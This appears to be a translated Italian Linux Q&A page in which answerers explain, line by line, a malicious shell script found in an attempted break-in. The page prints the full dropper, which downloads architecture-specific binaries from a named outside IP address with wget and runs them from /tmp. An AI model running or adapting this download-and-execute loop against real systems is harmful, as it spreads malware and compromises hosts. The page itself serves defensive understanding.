GNU/Linux >> Linux Esercitazione >  >> Linux

Cosa fa questo script bash? [Tentativo di hackeraggio]

Riga per riga:

#!/bin/sh

Stabilisce il sh shell, qualunque sia, come la linea shebang. sh%20/tmp/ks nella richiesta sovrascrive questo, quindi questa riga viene trattata come un normale commento e ignorata.

u="asgknskjdgn"

Dichiara un nome arbitrario, presumibilmente per evitare la collisione con altri nomi di file. Non sono sicuro del motivo per cui non dovrebbero semplicemente usare mktemp , ma forse non è disponibile su tutte le piattaforme.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera diverse architetture CPU comuni.

http_server="80.211.173.159"
http_port=80

Il server che ha l'exploit.

cd /tmp/||cd /var/

Prova a cambiare la directory in un punto in cui è probabile che il tuo server web sia in grado di creare file. Credo che SELinux aiuterà in questo, applicando regole molto più rigide su ciò che il server web può fare rispetto a quanto fa il file system da solo.

for name in $bin_names
    do

Per ogni architettura della CPU…

    rm -rf $u

Rimuove i programmi exploit precedentemente provati. Non necessario a causa della riga successiva, quindi può essere ignorato.

    cp $SHELL $u

Copia l'eseguibile della shell corrente (/bin/sh ). Può essere ignorato a causa della riga successiva a next.

    chmod 777 $u

Consente a tutti di avere pieno accesso al nuovo file. Questo avrebbe dovuto essere dopo il wget comando, che è un segno di un novizio di shell scripting o una tecnica di misdirection.

    >$u

Svuota il file. Inutile a causa della riga successiva.

    wget http://$http_server:$http_port/$name -O -> $u

Sovrascrive il file con lo script di exploit per questa architettura. -O -> $u avrebbe potuto essere scritto -O - > $u (il trattino indica che il download deve essere scritto sullo standard output) che equivale a -O $u .

    ./$u $name

Esegue lo script di exploit con l'architettura come primo argomento.

done

Termina il ciclo.

Sembra che questo sia un banale script di tentativo di exploit, che prova exploit noti su varie piattaforme CPU. Non so perché sovrascrive $u tre volte, ma quelle operazioni potrebbero semplicemente essere resti di una precedente iterazione della sceneggiatura. Presumibilmente quella versione precedente aveva gli exploit codificati piuttosto che serviti dinamicamente:il primo è più semplice ma quasi garantisce che lo script sarà meno efficace nel tempo man mano che i bug vengono corretti.


Il wget è la linea pericolosa chiave.

Il for name in $bin_names sta lavorando attraverso l'elenco delle piattaforme e per ogni piattaforma sta cancellando una directory temporanea, copiandoci sopra una shell e rendendola accessibile a tutti.

Quindi scarica un file usando wget e poi lo esegue usando il programma shell su cui ha appena copiato.

Lo script sta fondamentalmente tentando di scaricare una serie di eseguibili o script per ogni piattaforma possibile e di strofinarli contro il tuo sistema nella speranza che possa compromettere ulteriormente il tuo sistema.


Linux
  1. Non riesco a capire questo script. Bash?

  2. Cosa fa la riga '!/bin/sh -e'?

  3. Leggi riga per riga nello script bash

  4. esecuzione di script php (funzione php) in linux bash

  5. Cosa significa - in questo comando Linux?

Automatizza l'elaborazione delle immagini con questo script Bash

Usa questo utile script Bash quando osservi le stelle

Passare gli argomenti della riga di comando allo script Bash?

Cosa indica questa statistica del processo?

Cosa significa questo avviso?

Cosa fa 'bash -c'?